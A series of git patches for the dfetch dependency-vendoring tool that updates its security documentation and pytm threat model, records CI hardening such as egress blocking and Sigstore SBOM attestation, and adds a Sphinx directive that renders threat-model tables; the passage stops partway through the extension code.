diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index bd95927e7..02ff409f0 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -25,6 +25,14 @@ using the `pytm`_ framework. Regenerate analysis output with: python -m security.threat_model --dfd # Graphviz DFD (stdout) python -m security.threat_model --report # STRIDE findings report +.. note:: + + The ``security/`` package is intentionally excluded from built wheels and is + **not** installed by ``pip install dfetch[security]``. These commands must + be run from a source checkout with the repository root on ``PYTHONPATH`` (or + simply from the repository root, where Python resolves the ``security`` + package automatically). + .. note:: The ``--seq`` and ``--dfd`` commands require **PlantUML** and **Graphviz** @@ -399,10 +407,11 @@ with the security controls that are currently implemented. in ``ci.yml`` propagates secrets to test and docs workflows triggered on PR — a malicious workflow step could exfiltrate secrets. * - DF-12 - - GitHub Actions Runner → GitHub Repository + - GitHub Repository → GitHub Actions Runner - HTTPS - - CI checkout and build. ``persist-credentials: false`` on all checkout - steps; all third-party actions pinned by commit SHA. + - CI checkout and build. GitHub Actions checks out source from the + repository into the runner. ``persist-credentials: false`` on all + checkout steps; all third-party actions pinned by commit SHA. * - DF-13 - GitHub Actions Runner → PyPI - HTTPS @@ -439,7 +448,7 @@ The following controls are already in place and are reflected in the ``pathlib.Path.resolve``), then rejects any path whose resolved prefix does not start with the resolved root. Applied to every file copy and post-extraction symlink. - ``dfetch/util/util.py`` — ``check_no_path_traversal`` at line 277 + ``check_no_path_traversal()`` in ``dfetch/util/util.py`` * - Decompression-bomb protection - SA-05, PA-02 - Archives are rejected if uncompressed size exceeds 500 MB or the member diff --git a/pyproject.toml b/pyproject.toml index e80656ce9..038c7f57a 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -114,7 +114,7 @@ security = ["pytm==1.3.1"] dfetch = "dfetch.__main__:main" [tool.setuptools.packages.find] -include = ["dfetch", "dfetch.*", "security", "security.*"] +include = ["dfetch", "dfetch.*"] [tool.setuptools.package-data] dfetch = ["resources/*.yaml"] diff --git a/security/threat_model.py b/security/threat_model.py index de79d83e5..0e24ba244 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -91,14 +91,6 @@ "hashes — the integrity.hash field is optional." ) -gh_actions_runner = ExternalEntity("EA-04: GitHub Actions Runner") -gh_actions_runner.inBoundary = boundary_github -gh_actions_runner.description = ( - "Microsoft-operated ephemeral runner executing CI/CD workflows. " - "Egress policy is 'audit' (not 'block') — exfiltration of secrets is possible " - "if any workflow step is compromised." -) - gh_repository = ExternalEntity("EA-03: GitHub Repository") gh_repository.inBoundary = boundary_github gh_repository.description = ( @@ -107,6 +99,14 @@ "can modify repository state and trigger releases." ) +gh_actions_runner = ExternalEntity("EA-04: GitHub Actions Infrastructure") +gh_actions_runner.inBoundary = boundary_github +gh_actions_runner.description = ( + "Microsoft-operated ephemeral runner executing CI/CD workflows. " + "Egress policy is 'audit' (not 'block') — exfiltration of secrets is possible " + "if any workflow step is compromised." +) + pypi = ExternalEntity("EA-05: PyPI / TestPyPI") pypi.inBoundary = boundary_pypi pypi.description = ( @@ -124,7 +124,7 @@ # ── Processes ──────────────────────────────────────────────────────────────── -dfetch_cli = Process("SA-01: dfetch CLI") +dfetch_cli = Process("SA-01: dfetch Process") dfetch_cli.inBoundary = boundary_dev_env dfetch_cli.description = ( "Python CLI entry point dispatching to: update, check, diff, add, remove, " @@ -320,7 +320,7 @@ "RISK: 'secrets: inherit' in ci.yml propagates ALL secrets to test and docs workflows." ) gh_workflows.storesSensitiveData = False -gh_workflows.hasWriteAccess = True # PRs can modify .github/workflows/ definitions +gh_workflows.hasWriteAccess = True # PRs can modify .github/workflows/ definitions gh_workflows.classification = Classification.RESTRICTED gh_workflows.controls.isHardened = True @@ -414,9 +414,11 @@ ) df03_tls.protocol = "HTTPS / SSH" df03_tls.controls.isEncrypted = True -df03_tls.controls.isHardened = True # BatchMode=yes, --non-interactive +df03_tls.controls.isHardened = True # BatchMode=yes, --non-interactive -df03_plain = Dataflow(dfetch_cli, remote_git_svn, "DF-03b: Fetch VCS content — svn:// / http://") +df03_plain = Dataflow( + dfetch_cli, remote_git_svn, "DF-03b: Fetch VCS content — svn:// / http://" +) df03_plain.description = ( "git fetch over http:// or SVN over svn:// (plain, non-TLS). " "dfetch accepts these protocols without enforcement — no TLS check in manifest " @@ -428,7 +430,9 @@ df03_plain.controls.isEncrypted = False df03_plain.controls.isHardened = False -df04_tls = Dataflow(remote_git_svn, dfetch_cli, "DF-04a: VCS content inbound — HTTPS/SSH") +df04_tls = Dataflow( + remote_git_svn, dfetch_cli, "DF-04a: VCS content inbound — HTTPS/SSH" +) df04_tls.description = ( "Repository tree and file content over HTTPS or SSH. Transport is encrypted. " "No end-to-end content hash for Git or SVN — authenticity relies on transport " @@ -438,7 +442,9 @@ df04_tls.controls.isEncrypted = True df04_tls.controls.providesIntegrity = False # no end-to-end hash for git/svn content -df04_plain = Dataflow(remote_git_svn, dfetch_cli, "DF-04b: VCS content inbound — svn:// / http://") +df04_plain = Dataflow( + remote_git_svn, dfetch_cli, "DF-04b: VCS content inbound — svn:// / http://" +) df04_plain.description = ( "Repository content over unencrypted http:// or svn://. " "A network-positioned attacker can substitute arbitrary content without detection " @@ -472,7 +478,9 @@ "check_no_path_traversal(). Symlinks validated post-extraction." ) df07.controls.sanitizesInput = True -df07.controls.providesIntegrity = True +df07.controls.providesIntegrity = ( + False # integrity is conditional on hash presence (checked in DF-05/DF-06) +) df08 = Dataflow(dfetch_cli, metadata_store, "DF-08: Write dependency metadata") df08.description = "Writes .dfetch_data.yaml tracking remote_url, revision, hash." @@ -498,7 +506,7 @@ df11.protocol = "HTTPS" df11.controls.hasAccessControl = True -df12 = Dataflow(gh_actions_runner, gh_repository, "DF-12: CI checkout and build") +df12 = Dataflow(gh_repository, gh_actions_runner, "DF-12: CI checkout and build") df12.description = ( "GitHub Actions checks out source, installs deps, runs tests, lints, builds. " "persist-credentials:false on all checkout steps. " From e187cd30726aee501bfe5a290f70fc5f233d0bc3 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 29 Apr 2026 20:54:18 +0000 Subject: [PATCH 05/28] =?UTF-8?q?Add=20Product=20Security=20Context=20note?= =?UTF-8?q?=20(prEN=2040000-1-2=20=C2=A76.2=20Step=200)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Inserts the mandatory eight-section Product Security Context note before the Scope and Assumptions section in doc/explanation/security.rst. Covers: product/manufacturer identification, IPFRU, user roles (Developer / CI Runner / Security-operator), operating environment, architecture and connectivity, external dependencies, security assumptions, and support period / data handling. https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/explanation/security.rst | 159 +++++++++++++++++++++++++++++++++++ 1 file changed, 159 insertions(+) diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 02ff409f0..0b5fb0ed4 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -50,6 +50,165 @@ using the `pytm`_ framework. Regenerate analysis output with: added in subsequent phases. +Product Security Context +------------------------ + +This section is the *Product Security Context note* required by +prEN 40000-1-2 §6.2 (Step 0 of the security-by-design methodology). It +establishes the foundation on which all subsequent asset, threat, and control +analysis is built. + +**1 — Product and manufacturer identification** + +.. list-table:: + :widths: 30 70 + + * - Product name + - dfetch + * - Current series + - 0.x (pre-1.0, API not frozen) + * - Maintainer + - Ben Spoor — dfetch@spoor.cc + * - Distribution channel + - PyPI (``pip install dfetch``); GitHub Releases (stand-alone binary) + * - Source repository + - https://github.com/dfetch-org/dfetch + * - License + - MIT + * - CRA applicability + - dfetch is a non-commercial open-source project and is not legally subject + to the Cyber Resilience Act. This security model is maintained as a + matter of good practice and transparency. If the project is ever + redistributed commercially or classified as a *Product with Digital + Elements* (PDE) under Article 3(1) of Regulation (EU) 2024/2847, the + obligations under Articles 13–16 would apply in full. + +**2 — Intended purpose, foreseeable use, and reasonably foreseeable misuse (IPFRU)** + +*Intended purpose*: fetch and vendor external source-code dependencies (from +Git repositories, SVN repositories, or plain archive URLs) as plain files into +a project repository. dfetch reads a declarative manifest (``dfetch.yaml``), +resolves each declared dependency to the requested revision, copies the source +tree to the declared destination path, and records metadata for subsequent +up-to-date checks. + +*Foreseeable use*: invoked interactively on a developer workstation, or +non-interactively inside a CI/CD pipeline (GitHub Actions, GitLab CI, Jenkins, +etc.) to reproduce a known dependency state. + +*Reasonably foreseeable misuse*: + +- A manifest crafted with a malicious ``dst:`` path could attempt to write + files outside the project root (path-traversal). dfetch mitigates this with + ``check_no_path_traversal()`` applied to every file copy. +- A manifest pointing to an attacker-controlled upstream could deliver + malicious source code to the consuming build. This is the primary supply- + chain threat; the ``integrity.hash`` field provides an optional mitigation + for archive sources. +- Passing secret-bearing environment variables to dfetch in a CI environment + with inadequate egress controls could allow exfiltration if a dependency + source is compromised. + +**3 — User roles** + +.. list-table:: + :header-rows: 1 + :widths: 20 25 55 + + * - Role + - Typical actor + - Responsibilities and trust level + * - **Manifest author** (Developer) + - Human software developer + - Writes and reviews ``dfetch.yaml``; responsible for choosing upstream + sources, pinning revisions, and enabling ``integrity.hash`` for archive + dependencies. Trusted at workstation invocation time. + * - **CI runner** (Automated) + - GitHub Actions workflow, GitLab CI job, Jenkins agent + - Invokes ``dfetch update`` non-interactively to reproduce the declared + dependency set. Runs in an ephemeral, semi-trusted environment; + credential access is governed by the CI platform's secret store. + * - **Security / compliance operator** + - Security engineer, auditor, legal/compliance team + - Reviews ``dfetch check`` and ``dfetch report --sbom`` output for + outdated dependencies, known-vulnerable components, or licence compliance. + Read-only interaction with dfetch artifacts. + +**4 — Operating environment** + +- **Developer workstation**: Linux, macOS, or Windows; Python 3.10 +; ``git`` + and/or ``svn`` clients available on ``PATH``. No network listener or + persistent service is started. dfetch exits after completing each command. +- **CI/CD pipeline**: ephemeral runner (GitHub Actions, GitLab CI, etc.); + access to upstream VCS hosts and PyPI. dfetch does not require root or + elevated privileges. +- **No runtime daemon**: dfetch is a pure CLI tool. It does not bind ports, + start background services, write to system directories, or persist state + beyond the vendor directory and ``.dfetch_data.yaml`` metadata files. +- **Network requirements**: outbound HTTPS or SSH to the VCS/archive hosts + declared in the manifest. No inbound connections. + +**5 — Architecture and connectivity** + +dfetch is a single-process Python CLI application with no embedded network +server, no plugin system, and no IPC interface. Its communication surface is: + +- *stdin / argv*: command-line arguments and interactive prompts (only during + ``dfetch add``). +- *Filesystem (read)*: ``dfetch.yaml`` manifest; patch files; existing vendor + directory. +- *Filesystem (write)*: vendor directory (fetched source); ``.dfetch_data.yaml`` + metadata files; report files (SARIF, JSON, CycloneDX). +- *Outbound network*: ``git fetch`` / ``svn export`` / ``urllib``-based HTTP GET + to hosts declared in the manifest. All connections are outbound only. + +No credentials are stored by dfetch. VCS authentication is delegated to the +OS/SSH agent, Git credential helper, or SVN auth cache. + +**6 — External dependencies** + +Runtime Python packages: ``PyYAML``, ``strictyaml``, ``rich``, ``tldextract``, +``sarif-om``, ``semver``, ``patch-ng``, ``cyclonedx-python-lib``, +``infer-license``. System binaries: ``git`` (optional), ``svn`` (optional). +None of these dependencies handle PII or secrets on behalf of dfetch. + +The CI/CD pipeline additionally depends on GitHub Actions marketplace actions +(all SHA-pinned) and ``pip``/``build`` for packaging. + +**7 — Security assumptions and prerequisites** + +#. The developer workstation is trusted at the time dfetch is invoked. A + compromised workstation is outside the scope of the dfetch threat model. +#. TLS certificate validation is performed by the OS trust store and the + ``git`` / ``svn`` / ``urllib`` clients. dfetch does not independently + validate certificates. +#. The manifest (``dfetch.yaml``) is under version control and subject to code + review. An adversary with write access to the manifest can redirect fetches + to attacker-controlled sources; this threat is addressed at the code-review + boundary, not within dfetch itself. +#. dfetch is responsible only for *its own* security posture. The security of + fetched third-party source code is the responsibility of the manifest author + who selects and pins each dependency. +#. HTTPS enforcement is the responsibility of the manifest author. dfetch + accepts ``http://``, ``svn://``, and other non-TLS scheme URLs as written — + it does not upgrade or reject them. +#. No secrets are stored by dfetch. Any secrets present in the CI environment + are the responsibility of the CI platform's secret store and the workflow + author. + +**8 — Support period and data handling** + +- *Support period*: the **latest released version** only. No security patches + are backported to older releases. Users are responsible for upgrading. +- *Personal data*: dfetch does not collect, store, or transmit any personal + data. It does not implement analytics, telemetry, or error reporting. The + fetched source code may contain personal data (e.g. author email addresses in + VCS history) — handling of that data is the responsibility of the consuming + project, not dfetch. +- *Vulnerability reporting*: see ``SECURITY.md`` and ``security.txt`` in the + repository root for the coordinated vulnerability disclosure (CVD) policy. + + Scope and Assumptions --------------------- From 092f23091861dab9d5cf521911f930c3396f4734 Mon Sep 17 00:00:00 2001 From: Ben Date: Thu, 30 Apr 2026 21:20:56 +0000 Subject: [PATCH 06/28] Update after recent hardening --- doc/explanation/security.rst | 62 +++++++++++++++++++----------------- 1 file changed, 33 insertions(+), 29 deletions(-) diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 0b5fb0ed4..3cbea82db 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -231,8 +231,9 @@ Modelling assumptions: transport (which is itself absent for plain ``http://`` URLs). #. Branch- and tag-pinned Git dependencies are **mutable references** — upstream force-pushes silently change fetched content without triggering a manifest diff. -#. The ``harden-runner`` egress policy is set to ``audit``, not ``block`` — - outbound network connections from CI runners are logged but not prevented. +#. Outbound network connections from CI runners are restricted by + ``harden-runner`` with ``egress-policy: block``; only explicitly listed + endpoints are reachable. #. dfetch's own build and development dependencies are **not** installed with ``--require-hashes``, so a compromised PyPI mirror can substitute build tooling. @@ -251,8 +252,9 @@ Trust Boundaries time. Hosts the manifest, vendor directory, metadata, and patch files. * - **GitHub Actions Infrastructure** - Microsoft-operated ephemeral runners executing the 11 CI/CD workflows. - Semi-trusted: egress is audited but not blocked; secrets are inherited - across workflows via ``secrets: inherit``. + Semi-trusted: egress is blocked to an explicit allowlist via + ``harden-runner``; secrets are forwarded explicitly by name — no + ``secrets: inherit``. * - **Internet** - All traffic crossing the local/remote boundary. TLS enforcement is the responsibility of the OS and VCS clients; dfetch does not enforce HTTPS @@ -351,8 +353,8 @@ Supporting Assets - SSH private keys, HTTPS Personal Access Tokens, SVN passwords. Used to authenticate to private upstream repositories. dfetch never persists these — managed by OS keychain or CI secret store. Exfiltration via a - compromised CI workflow step is the primary risk (harden-runner is in - audit mode, not block mode). + compromised CI workflow step is mitigated by ``harden-runner`` blocking + unexpected outbound connections. * - SA-03 - Dependency Metadata (``.dfetch_data.yaml``) - Restricted @@ -562,9 +564,9 @@ with the security controls that are currently implemented. * - DF-11 - Contributor → GitHub Repository - HTTPS - - External contributor opens a pull request. Risk: ``secrets: inherit`` - in ``ci.yml`` propagates secrets to test and docs workflows triggered - on PR — a malicious workflow step could exfiltrate secrets. + - External contributor opens a pull request. ``ci.yml`` forwards only + the named secrets required by each reusable workflow — no + ``secrets: inherit``. ``harden-runner`` blocks unexpected egress. * - DF-12 - GitHub Repository → GitHub Actions Runner - HTTPS @@ -575,7 +577,9 @@ with the security controls that are currently implemented. - GitHub Actions Runner → PyPI - HTTPS - On release event: wheel/sdist published via OIDC trusted publishing. - Missing: no SLSA provenance attestation or Sigstore package signing. + A CycloneDX SBOM is generated, attached to the GitHub Release, and + used as the predicate of a Sigstore in-toto attestation (signed via + Fulcio/Rekor) for both the wheel and the source distribution. * - DF-14 - Consumer → PyPI - HTTPS @@ -665,11 +669,27 @@ The following controls are already in place and are reflected in the - All ``actions/checkout`` steps drop the GitHub token from the working tree after checkout. ``.github/workflows/*.yml`` - * - Harden-runner (egress audit) + * - Harden-runner (egress block) - SA-02, EA-04 - - ``step-security/harden-runner`` is used in every workflow to audit - outbound network connections. Note: policy is ``audit``, not ``block``. + - ``step-security/harden-runner`` is used in every workflow with + ``egress-policy: block`` and an explicit allowlist of permitted + endpoints. Unexpected outbound connections are denied. ``.github/workflows/*.yml`` + * - Explicit secret forwarding + - SA-02, EA-04 + - ``ci.yml`` forwards only named secrets to reusable workflows + (``CODACY_PROJECT_TOKEN``, ``GH_DFETCH_ORG_DEPLOY``). No workflow + uses ``secrets: inherit``, limiting the blast radius of a compromised + workflow step. + ``.github/workflows/ci.yml`` + * - SBOM attestation (Sigstore) + - EA-01, EA-03 + - ``python-publish.yml`` generates a CycloneDX SBOM for each release + and creates a Sigstore in-toto attestation (predicate type + ``https://cyclonedx.org/bom``) for the wheel and source distribution, + signed via Fulcio/Rekor. The SBOM is also uploaded to the GitHub + Release for consumer verification. + ``.github/workflows/python-publish.yml`` * - OpenSSF Scorecard - EA-03, SA-10 - Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning covers @@ -717,23 +737,7 @@ areas where existing controls are absent or incomplete. * - No patch-file integrity - Patch files referenced in the manifest carry no integrity hash. A tampered patch can write to arbitrary paths through ``patch-ng``. - * - No SLSA provenance - - The release pipeline does not generate SLSA provenance attestations or - Sigstore/cosign signatures for the published wheel. Consumers cannot - verify build provenance. - * - No dfetch-self SBOM on PyPI - - The CycloneDX SBOM generated by ``dfetch report`` covers vendored - dependencies only. dfetch itself has no machine-readable SBOM published - alongside its PyPI release, as CRA Article 13 requires. * - Build deps without hash pinning - ``pip install .`` and ``pip install --upgrade pip build`` in CI do not use ``--require-hashes``. A compromised PyPI mirror can substitute malicious build tooling. - * - ``secrets: inherit`` scope - - ``ci.yml`` passes all repository secrets to the test and docs workflows - via ``secrets: inherit``. A malicious pull request step in either - workflow could exfiltrate secrets. - * - Harden-runner in audit mode - - ``step-security/harden-runner`` is configured with ``egress-policy: - audit``. Outbound connections are logged but not blocked — secret - exfiltration via a compromised CI step is possible. From 5dde5c8b8bc1215499f3032092fc0e6ce06ae229 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 1 May 2026 05:49:14 +0000 Subject: [PATCH 07/28] Add .. pytm:: Sphinx directive for live threat-model rendering MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Implements a custom Sphinx extension (doc/_ext/pytm_directive.py) that renders sections of the pytm threat model directly at build time — no pre-generated intermediate files, no duplication between code and docs. Extension highlights - .. pytm:: directive with :assets:, :dataflows:, :controls:, :gaps:, and :threats: flags; any subset may be combined - Model path configured via pytm_model in conf.py (absolute path); directive also accepts an explicit relative-path argument - Incremental builds: env.note_dependency() marks the document for rebuild whenever security/threat_model.py changes - Single-build caching: model is loaded once in the builder-inited hook (single-threaded) and stored in app._pytm_cache; directive runs only read from cache, so parallel_read_safe = True is correct - Thread-safe lazy fallback: _load_lock guards the rare case of an explicit path not covered by the preload Threat model additions (security/threat_model.py) - CONTROLS list (17 entries): each control has name, assets, implementation text (RST markup supported), and reference path - GAPS list (8 entries): each gap has name and description (RST markup) - classification added to all ExternalEntity and Process elements so the asset table renders complete Classification column values - Data objects fetched from TM._data (separate from TM._elements in pytm) Documentation (doc/explanation/security.rst) - Four static list-table blocks replaced with four .. pytm:: directives (:assets:, :dataflows:, :controls:, :gaps:) — ~445 lines removed - Introductory paragraphs updated to note live generation from the model - Product Security Context note (added previously) unchanged Packaging - pytm==1.3.1 added to the docs extras group so pip install .[docs] installs the dependency for documentation builds https://claude.ai/code/session_01Rc28JtpAPWhJtA3YvS5kcr --- doc/_ext/pytm_directive.py | 457 +++++++++++++++++++++++++++++++++ doc/conf.py | 6 + doc/explanation/security.rst | 476 ++--------------------------------- pyproject.toml | 1 + security/threat_model.py | 242 ++++++++++++++++++ 5 files changed, 729 insertions(+), 453 deletions(-) create mode 100644 doc/_ext/pytm_directive.py diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py new file mode 100644 index 000000000..9e5379632 --- /dev/null +++ b/doc/_ext/pytm_directive.py @@ -0,0 +1,457 @@ +"""Sphinx extension: ``.. pytm::`` directive. + +Renders asset, data-flow, control, gap, and STRIDE-threat tables directly +from an executable pytm threat model, with no pre-generated intermediate +files. + +Incremental builds +------------------ +Each document that contains a ``.. pytm::`` directive registers the model +file as a dependency via ``env.note_dependency()``. Sphinx therefore +rebuilds the document whenever the model changes without requiring a full +clean build. + +Within a single Sphinx invocation the model is loaded once: the +``builder-inited`` event (single-threaded) preloads the configured model +and stores the result in ``app._pytm_cache``. Subsequent directive +executions — including parallel reads — only read from the cache, so no +locking is required. + +Configuration +------------- +``pytm_model`` (str) + Absolute path to the threat-model Python file. Set in ``conf.py``:: + + import os + pytm_model = os.path.abspath( + os.path.join(os.path.dirname(__file__), '..', 'security', 'threat_model.py') + ) + +Usage in .rst files +------------------- +:: + + .. pytm:: + :assets: + :dataflows: + :controls: + :gaps: + :threats: + +All options are independent flags; any subset may be combined. An explicit +model path overrides the ``pytm_model`` config value:: + + .. pytm:: ../security/threat_model.py + :assets: +""" + +from __future__ import annotations + +import importlib.util +import os +import sys +import threading +from typing import TYPE_CHECKING, Any + +from docutils import nodes +from docutils.parsers.rst import Directive, directives +from docutils.statemachine import StringList +from sphinx.util import logging + +if TYPE_CHECKING: + from sphinx.application import Sphinx + +logger = logging.getLogger(__name__) + +_load_lock = threading.Lock() + +# --------------------------------------------------------------------------- +# Directive +# --------------------------------------------------------------------------- + + +class PytmDirective(Directive): + """Render sections of a pytm threat model as RST tables.""" + + optional_arguments = 1 + has_content = False + option_spec = { + "assets": directives.flag, + "dataflows": directives.flag, + "controls": directives.flag, + "gaps": directives.flag, + "threats": directives.flag, + } + + def run(self) -> list[nodes.Node]: + env = self.state.document.settings.env + app = env.app + + model_path = self._resolve_path(app) + if model_path is None: + return [ + nodes.error( + None, + nodes.paragraph( + text=( + "pytm directive: no model path. " + "Pass a path argument or set pytm_model in conf.py." + ) + ), + ) + ] + + if not os.path.isfile(model_path): + return [ + nodes.error( + None, + nodes.paragraph(text=f"pytm directive: model not found: {model_path}"), + ) + ] + + # Mark this document as depending on the model file so Sphinx + # rebuilds it whenever the model changes. + env.note_dependency(model_path) + + data = _get_model_data(app, model_path) + + sections: list[str] = [] + if "assets" in self.options: + sections.append(_render_assets(data["assets"])) + if "dataflows" in self.options: + sections.append(_render_dataflows(data["dataflows"])) + if "controls" in self.options: + sections.append(_render_controls(data["controls"])) + if "gaps" in self.options: + sections.append(_render_gaps(data["gaps"])) + if "threats" in self.options: + sections.append(_render_threats(data["threats"])) + + rst = "\n\n".join(sections) + return _parse_rst(rst, self.state, self.content_offset, model_path) + + def _resolve_path(self, app: Any) -> str | None: + if self.arguments: + raw = self.arguments[0] + if os.path.isabs(raw): + return raw + return os.path.normpath(os.path.join(app.confdir, raw)) + return getattr(app.config, "pytm_model", None) + + +# --------------------------------------------------------------------------- +# Model loading and caching +# --------------------------------------------------------------------------- + + +def _get_model_data(app: Any, model_path: str) -> dict: + """Return cached model data, loading on first access (thread-safe).""" + cache: dict = getattr(app, "_pytm_cache", {}) + mtime = os.path.getmtime(model_path) + key = (model_path, mtime) + if key in cache: + return cache[key] + with _load_lock: + # Re-check after acquiring lock (another thread may have loaded it). + if key not in cache: + cache[key] = _load_model(model_path, app.confdir) + app._pytm_cache = cache + return cache[key] + + +def _load_model(model_path: str, confdir: str) -> dict: + """Import the threat model file and extract all structured data.""" + from pytm import TM, Data, Dataflow, Datastore, ExternalEntity # type: ignore[import] + + # The model calls TM.reset() at module level; executing it again resets + # the singleton cleanly. + TM.reset() + + spec = importlib.util.spec_from_file_location("_pytm_model_tmp", model_path) + mod = importlib.util.module_from_spec(spec) # type: ignore[arg-type] + spec.loader.exec_module(mod) # type: ignore[union-attr] + + # resolve() computes STRIDE findings without touching sys.argv or I/O. + mod.tm.resolve() + + # -- Assets -------------------------------------------------------------- + # pytm stores Data objects in TM._data, not TM._elements. + from pytm import Process # type: ignore[import] + + id_prefixes = ("PA-", "SA-", "EA-", "DA-", "HW-", "FA-", "NI-", "OA-") + candidate_elements = list(TM._elements) + list(getattr(TM, "_data", [])) + assets: list[dict] = [] + for el in candidate_elements: + if not isinstance(el, (Datastore, ExternalEntity, Data, Process)): + continue + if not any(el.name.startswith(p) for p in id_prefixes): + continue + asset_id, sep, asset_name = el.name.partition(":") + assets.append( + { + "id": asset_id.strip(), + "name": asset_name.strip() if sep else el.name, + "type": type(el).__name__, + "classification": _fmt_classification( + getattr(el, "classification", None) + ), + "description": (getattr(el, "description", "") or "").strip(), + } + ) + assets.sort(key=lambda a: _sort_key(a["id"])) + + # -- Dataflows ----------------------------------------------------------- + dataflows: list[dict] = [] + for el in TM._elements: + if not isinstance(el, Dataflow): + continue + if not el.name.startswith("DF-"): + continue + flow_id, sep, flow_name = el.name.partition(":") + dataflows.append( + { + "id": flow_id.strip(), + "flow": flow_name.strip() if sep else el.name, + "protocol": (getattr(el, "protocol", "") or "").strip(), + "description": (getattr(el, "description", "") or "").strip(), + } + ) + dataflows.sort(key=lambda d: _sort_key(d["id"])) + + # -- STRIDE findings ----------------------------------------------------- + threats: list[dict] = [] + for finding in mod.tm.findings: + threats.append( + { + "id": finding.threat_id, + "element": finding.element.name, + "description": finding.description, + "severity": str(finding.severity), + "mitigations": (finding.mitigations or "").strip(), + } + ) + + # -- Module-level CONTROLS and GAPS (optional) --------------------------- + controls: list[dict] = list(getattr(mod, "CONTROLS", [])) + gaps: list[dict] = list(getattr(mod, "GAPS", [])) + + return { + "assets": assets, + "dataflows": dataflows, + "threats": threats, + "controls": controls, + "gaps": gaps, + } + + +_PREFIX_ORDER = { + # ISO/IEC 27005 / EN 18031 taxonomy + "PA": 0, "SA": 1, "EA": 2, + # EN 40000 five-category taxonomy + "DA": 0, "HW": 1, "FA": 2, "NI": 3, "OA": 4, +} + + +def _sort_key(asset_id: str) -> tuple: + """Sort PA-01 < PA-02 < ... < SA-01 < ... < EA-01 numerically.""" + prefix = asset_id[:2] if len(asset_id) >= 2 else asset_id + order = _PREFIX_ORDER.get(prefix, 99) + try: + num = int(asset_id.split("-", 1)[1]) + except (IndexError, ValueError): + num = 0 + return (order, prefix, num) + + +def _fmt_classification(cls: Any) -> str: + if cls is None: + return "" + name = getattr(cls, "name", str(cls)) + return name.replace("_", " ").title() + + +# --------------------------------------------------------------------------- +# RST table builders +# --------------------------------------------------------------------------- + + +def _cell(text: str) -> str: + """Flatten and RST-escape text for a single list-table cell line.""" + text = text.replace("\n", " ").strip() + if not text: + return "—" + # Escape lone asterisks (glob patterns like *.yml confuse RST emphasis parser). + # We only escape * that are NOT already doubled (**bold**). + import re as _re + + text = _re.sub(r"(? str: + """Build a ``.. list-table::`` RST block.""" + lines = [ + ".. list-table::", + " :header-rows: 1", + f' :widths: {" ".join(str(w) for w in widths)}', + "", + " * - " + headers[0], + ] + for h in headers[1:]: + lines.append(" - " + h) + for row in rows: + lines.append(" * - " + row[0]) + for cell in row[1:]: + lines.append(" - " + cell) + return "\n".join(lines) + + +def _render_assets(assets: list[dict]) -> str: + if not assets: + return ".. note::\n\n No assets with standard ID prefixes found in model." + headers = ["ID", "Name", "Classification", "Description"] + widths = [8, 28, 14, 50] + rows = [ + [a["id"], a["name"], a["classification"], _cell(a["description"])] + for a in assets + ] + return _list_table(headers, rows, widths) + + +def _render_dataflows(dataflows: list[dict]) -> str: + if not dataflows: + return ".. note::\n\n No data flows with DF- prefix found in model." + headers = ["ID", "Flow", "Protocol", "Notes"] + widths = [8, 30, 14, 48] + rows = [ + [ + d["id"], + d["flow"], + d["protocol"] or "(local)", + _cell(d["description"]), + ] + for d in dataflows + ] + return _list_table(headers, rows, widths) + + +def _render_controls(controls: list[dict]) -> str: + if not controls: + return ( + ".. note::\n\n No controls defined. " + "Add a ``CONTROLS`` list to the threat model." + ) + headers = ["Control", "Asset(s) protected", "Implementation"] + widths = [28, 18, 54] + rows = [] + for c in controls: + impl = _cell(c.get("implementation", "")) + ref = c.get("reference", "") + if ref: + impl += f" ``{ref}``" + rows.append( + [ + c.get("name", "—"), + ", ".join(c.get("assets", [])), + impl, + ] + ) + return _list_table(headers, rows, widths) + + +def _render_gaps(gaps: list[dict]) -> str: + if not gaps: + return ( + ".. note::\n\n No gaps defined. " + "Add a ``GAPS`` list to the threat model." + ) + headers = ["Gap", "Description"] + widths = [30, 70] + rows = [ + [g.get("name", "—"), _cell(g.get("description", ""))] + for g in gaps + ] + return _list_table(headers, rows, widths) + + +def _render_threats(threats: list[dict]) -> str: + if not threats: + return ( + ".. note::\n\n No STRIDE findings " + "(all threats mitigated or no elements in scope)." + ) + # Group by severity for readability: Very High > High > Medium > Low + sev_order = {"Very High": 0, "High": 1, "Medium": 2, "Low": 3} + sorted_threats = sorted( + threats, key=lambda t: (sev_order.get(t["severity"], 9), t["id"]) + ) + headers = ["Threat ID", "Severity", "Element", "Description"] + widths = [10, 10, 25, 55] + rows = [ + [ + t["id"], + t["severity"], + t["element"], + _cell(t["description"]), + ] + for t in sorted_threats + ] + return _list_table(headers, rows, widths) + + +# --------------------------------------------------------------------------- +# RST → docutils nodes +# --------------------------------------------------------------------------- + + +def _parse_rst( + rst: str, state: Any, content_offset: int, source_label: str +) -> list[nodes.Node]: + container = nodes.section() + container.document = state.document + view = StringList() + basename = os.path.basename(source_label) + for i, line in enumerate(rst.splitlines()): + view.append(line, f"", i) + state.nested_parse(view, content_offset, container) + return container.children # type: ignore[return-value] + + +# --------------------------------------------------------------------------- +# Builder-inited hook: preload the default model (single-threaded) +# --------------------------------------------------------------------------- + + +def _on_builder_inited(app: Sphinx) -> None: + """Preload the configured model so directive runs only read from cache.""" + model_path: str | None = getattr(app.config, "pytm_model", None) + if not model_path or not os.path.isfile(model_path): + return + try: + mtime = os.path.getmtime(model_path) + data = _load_model(model_path, app.confdir) + app._pytm_cache = {(model_path, mtime): data} + logger.info( + f"pytm: loaded {len(data['assets'])} assets, " + f"{len(data['dataflows'])} flows, " + f"{len(data['threats'])} STRIDE findings " + f"from {os.path.basename(model_path)}" + ) 